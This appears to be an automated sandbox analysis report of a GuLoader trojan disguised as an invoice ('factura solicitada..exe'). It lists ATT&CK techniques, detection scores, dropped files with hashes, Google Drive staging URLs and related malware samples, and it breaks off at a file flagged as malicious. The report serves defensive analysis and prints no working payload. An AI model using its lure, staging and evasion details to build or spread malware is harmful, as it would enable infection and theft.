Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\factura solicitada..exe

0_2_0040316D

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 PowerShell	Boot or Logon Initialization Scripts	311 Process Injection	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Clipboard Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Access Token Manipulation	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	311 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	14 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
factura solicitada..exe	64%	Virustotal		Browse
factura solicitada..exe	63%	ReversingLabs	Win32.Trojan.Guloader

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\unproselyte\besparelses\Ovolytic\factura solicitada..exe	63%	ReversingLabs	Win32.Trojan.Guloader
C:\Users\user\AppData\Local\unproselyte\besparelses\Ovolytic\factura solicitada..exe	64%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
drive.google.com	142.250.185.78	true	false		high
drive.usercontent.google.com	172.217.16.129	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.1670136882.0000000005CFD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000002.00000002.1667072228.0000000004DE6000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/MW	msiexec.exe, 00000005.00000003.1974923370.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1939947934.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1952442398.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1929030211.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1963121004.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/=Bt	msiexec.exe, 00000005.00000003.1917290712.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1974923370.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2055995606.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2020965430.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2082381319.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2381577044.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1939947934.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2067734981.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1906560488.0000000006DFB000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2044572702.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2313946832.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1952442398.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1779649291.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2301970581.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1790921504.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2094108178.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2031960140.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1768849257.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1929030211.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2463480327.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2370910005.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.1667072228.0000000004DE6000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore6lB_q	powershell.exe, 00000002.00000002.1667072228.0000000004C91000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000002.00000002.1667072228.0000000004DE6000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.1667072228.0000000004DE6000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 00000002.00000002.1670136882.0000000005CFD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000002.00000002.1670136882.0000000005CFD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	msiexec.exe, 00000005.00000003.1974923370.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2055995606.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2020965430.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2082381319.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2381577044.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1939947934.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2067734981.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1906560488.0000000006DFB000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2044572702.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2313946832.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1952442398.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1779649291.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2301970581.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1790921504.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2094108178.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2031960140.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1768849257.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1929030211.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2463480327.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2370910005.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2553035309.0000000006DFE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/pM	msiexec.exe, 00000005.00000003.2094108178.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	factura solicitada..exe, factura solicitada..exe.2.dr	false	high
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.1667072228.0000000004DE6000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com	msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1790880643.0000000006E41000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/download?id	msiexec.exe, 00000005.00000003.2450958876.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2404863208.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2427674879.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1985971081.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2498061903.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1939906092.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1917255239.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2031924269.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1963080442.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2313916948.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2151336892.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2128763495.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2244405162.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2220848980.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2359174746.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2337033474.0000000006E41000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/(Bi	msiexec.exe, 00000005.00000003.1917290712.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_Error	factura solicitada..exe, factura solicitada..exe.2.dr	false	high
https://drive.google.com/	msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000002.00000002.1667072228.0000000004DE6000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 00000002.00000002.1670136882.0000000005CFD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/HM	msiexec.exe, 00000005.00000003.2055995606.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2020965430.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2067734981.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2044572702.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1779649291.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1790921504.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2031960140.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1768849257.0000000006E00000.00000004.00000020.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.1670136882.0000000005CFD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	msiexec.exe, 00000005.00000002.2553035309.0000000006DFE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2278823836.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2094078812.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1757024491.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1790880643.0000000006E41000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/i	msiexec.exe, 00000005.00000003.1790921504.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1768849257.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1929030211.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1963121004.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1667072228.0000000004C91000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
142.250.185.78	drive.google.com	United States		15169	GOOGLEUS	false
172.217.16.129	drive.usercontent.google.com	United States		15169	GOOGLEUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1619377
Start date and time:	2025-02-19 20:35:25 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	factura solicitada..exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@6/15@2/2
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 94% Number of executed functions: 98 Number of non-executed functions: 50
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.67, 52.149.20.212
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7820 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:36:25	API Interceptor	40x Sleep call for process: powershell.exe modified
14:37:08	API Interceptor	35x Sleep call for process: msiexec.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	Vidneafhring.exe	Get hash	malicious	GuLoader	Browse	142.250.185.78 172.217.16.129
	Doc171836.js	Get hash	malicious	BruteRatel, Latrodectus	Browse	142.250.185.78 172.217.16.129
	DHL RPA GRBP Template.PDF.js	Get hash	malicious	Remcos	Browse	142.250.185.78 172.217.16.129
	rSlutelementer.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.78 172.217.16.129
	Payment Summary 2025 11 2.exe	Get hash	malicious	GuLoader	Browse	142.250.185.78 172.217.16.129
	Payment Summary 2025 11 2.exe	Get hash	malicious	GuLoader	Browse	142.250.185.78 172.217.16.129
	000027_A-000032.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.78 172.217.16.129
	GetPress.exe	Get hash	malicious	Unknown	Browse	142.250.185.78 172.217.16.129
	New Order_List doc.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse	142.250.185.78 172.217.16.129
	RFQ March order Ref 28101.exe	Get hash	malicious	GuLoader	Browse	142.250.185.78 172.217.16.129

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	53158
Entropy (8bit):	5.062687652912555
Encrypted:	false
SSDEEP:	1536:N8Z+z30pPV3CNBQkj2Ph4iUx7aVKflJnqvPqdKgfSRIOdBlzStAHk4NKeCMiYoLs:iZ+z30pPV3CNBQkj2PqiU7aVKflJnqvF
MD5:	5D430F1344CE89737902AEC47C61C930
SHA1:	0B90F23535E8CDAC8EC1139183D5A8A269C2EFEB
SHA-256:	395099D9A062FA7A72B73D7B354BF411DA7CFD8D6ADAA9FDBC0DD7C282348DC7
SHA-512:	DFC18D47703A69D44643CFC0209B785A4393F4A4C84FAC5557D996BC2A3E4F410EA6D26C66EA7F765CEC491DD52C8454CB0F538D20D2EFF09DC89DDECC0A2AFE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.G.......%...I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\SmbShare\SmbShare.psd1T.......gsmbo........gsmbm........Enable-SmbDelegation.... ...Remove-SmbMultichannelConstraint........gsmbd........gsmbb........gsmbc........gsmba........Set-SmbPathAcl........Grant-SmbShareAccess........Get-SmbBandWidthLimit........rsmbm........New-SmbGlobalMapping........rsmbc........rsmbb........Get-SmbGlobalMapping........Remove-SmbShare........rksmba........gsmbmc........rsmbs........Get-SmbConnection........nsmbscm........gsmbscm........rsmbt........Remove-SmbBandwidthLimit........Set-SmbServerConfiguration........cssmbo........udsmbmc........Remove-SMBComponent........ssmbsc........ssmbb........Get-SmbShareAccess........Get-SmbOpenFile........dsmbd........ssmbs........ssmbp........nsmbgm........ulsmba........Close-SmbOpenFile........Revoke-SmbShareAccess........nsmbt........rsmbscm........Disable-SmbDelegation........nsmbs........Block-SmbShareAccess........gsmbcn........Set-Sm

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_12csnot1.4ag.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2aoy22rj.g00.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sbnjokug.edv.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xdpetzbj.kqx.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\unproselyte\besparelses\Chemiotaxic\Tautochronism.txt

Download File

Process:	C:\Users\user\Desktop\factura solicitada..exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	405
Entropy (8bit):	4.328259745850624
Encrypted:	false
SSDEEP:	12:fX5LUCtR3cBiXWcznMnCvL9W0TAUHAL5KYIF/7R:/jCiXWynMCvpuhTIFd
MD5:	C036A95DC18FF025D50162C2F98A2BB6
SHA1:	4665CFCCF12945AAD126C49BD17889AB1D8C3E05
SHA-256:	E6CE84A048A9DF2891B22750D506341AAF6088D1CC3028F951D380A6C023704B
SHA-512:	66CE517BC7362FD2B99388B43AF00F9F17684AF6CD1C29585CE3880277772CEBFC634C9DF8D28B369AE6247F531C0708374AEAA4624CABC3A93B853CF23E53E9
Malicious:	false
Preview:	venstredrejet adrian podagra appassionate.Rekommandwor unperformability arbejdsmoralen oevelses stdsikker boligspekulant..Trstespisernes angioclast poula storesstre flotheder berberry blgelngder kompasnaal decimalkommaet revancher septiktankenes eksercerskolers......eksklusionsparagraffens derails hysteri mgt.Skrmdialogernes undergruppen artrigt jeans splenomegalia killinger ringmaking oillet..........

C:\Users\user\AppData\Local\unproselyte\besparelses\Chemiotaxic\Ulykkesbilernes214.ove

Download File

Process:	C:\Users\user\Desktop\factura solicitada..exe
File Type:	data
Category:	dropped
Size (bytes):	274071
Entropy (8bit):	1.253823271046909
Encrypted:	false
SSDEEP:	768:v36WCCZO3LE8eYOMoGue2Ip+oHNoX2lh1eBcP31Z0A6QA4V7lPiyOyqvRzwfNK4e:vGv3Ymke5UafV7eFXtllcj7s9
MD5:	7AEB58D533D979653278E3957F5D10C6
SHA1:	935D14716FFDE6AC8233A32091840198B1DFEDC1
SHA-256:	A1010C327652FA7D569183292A91D223282F5A649155F030342155E123DE5D76
SHA-512:	4AE6A1C303FDBDDB4CB86F394ADE6B5A2D4A74DD8E1C2A3C002D5E26B5286AEDEBF6B8C5D51DF9C4C9E675DA35396676A5BAF8C74F74D4D0C70465BDCBB63035
Malicious:	false
Preview:	.........................................................................@...............m......................................=........................................m..........................................f..............g....I.8.........................2............;.........................i................A...................V...................e..............X....................................2........'..................................c.......................h................................................o...............'..........:.....g.........................'.........F...=........W..............R..Q.........+.S.......................{/...........{..............L..................R.......................................1....................................................."....................................................U...............................................J.............i....H........J............K............................r..........................

C:\Users\user\AppData\Local\unproselyte\besparelses\Chemiotaxic\emissionsspektrummerne.tra

Download File

Process:	C:\Users\user\Desktop\factura solicitada..exe
File Type:	data
Category:	dropped
Size (bytes):	86951
Entropy (8bit):	1.2404603425664857
Encrypted:	false
SSDEEP:	768:+Cu662d4U8MFfoLbqdgQpuGgedWjBBZjn1vRIXSDuB:BHwqsJK
MD5:	2CCB0A124328C367EC033641F3E23D07
SHA1:	5FB788BEC51076981EE64564162F8F3242C9144B
SHA-256:	01CFEC604D926443F0A430A9E508921E004D34EBEF5B0143BA95D0C03EEC3371
SHA-512:	87657E09A04D8E1B8794A8F4B78CAC186029639FC091004162E7F445D71B473267EABC6E4598C34E6E57BD74806638CCB45159D110F3134CA60646E3B7A463C2
Malicious:	false
Preview:	eeeeeeeeedeeee.eeeeeeeeeeeeieeeeeeeeeee.eee.eeeeeeeeYvee#eeeeeeeeeeeeeeeee.eeT.eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.eeeeeeeeeeeeeeeeee0eeeeeeeeeeeeeeeeeeeee.eeeeeeeee.eeeeee.eeeeeeeeeeeeeeeeeeeeee.eeeeeee.eeeeeeeeeeeeeeeeeuee.eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee2eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee>eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.eeeeeeee.eeeeeeeeeeeeeeeeeee.eeeeeee.eeeeeeeee.ez.te.ee\eeeeeeeeeeeeeeeeeee.eeeeeeeeeeeeeeeeeeeeeeeeee.eeeeeeeeeeeeeoeeeeeeeeeee.eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee/eeeeeee.e.ePeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.eeeeeeee7eeeeeeeeeeeeeeeeeeeeee.eeee.eeeeeeee.e8eeeeeeeeeeeeeeeeeeeeeee.eeeee>eeeeeeeeeeeee.eeeeyeeeeeeeeeeeeee.eeFeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.eeeee;eee.teeeeeee.eee[eeee.eeeee.eeeeeeeeeeeeeeeeeeeeeeeeeeeeeweeeeeeyee.eeeeeeeeeee.eeeeeeeeee.eeeeeeeeeee.eeeeeeeeeee.eeeee.eeeeeeeee.eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.ee.e>eeee.eeeeeeeee"Xeee.ee

C:\Users\user\AppData\Local\unproselyte\besparelses\Concludence.Cha

Download File

Process:	C:\Users\user\Desktop\factura solicitada..exe
File Type:	Unicode text, UTF-8 text, with very long lines (3167), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	52817
Entropy (8bit):	5.343325763275001
Encrypted:	false
SSDEEP:	1536:pxAaLXZA+Iki28ydNcQOb01QZKVDxXAJb:px3dAwnXeYdNwJ
MD5:	1678EAEBCC616FDD486B73C0D0F9A765
SHA1:	8E9D45A247BF04385E368F16AE88AC4C70C5CA4F
SHA-256:	EE054A99730186790F4A20ABE48B59B4254B5BB5888B4CF685F7A74092A9A6E6
SHA-512:	7BEC8100642738D1CF759F3A5226A5E96DEFC56697235EF50444D35FDAF82BFAB8EED5ADDBFF50B358B9AB7CAF5CCBE65CEA09D7D0BE35A6DE7F6614D2B78172
Malicious:	true
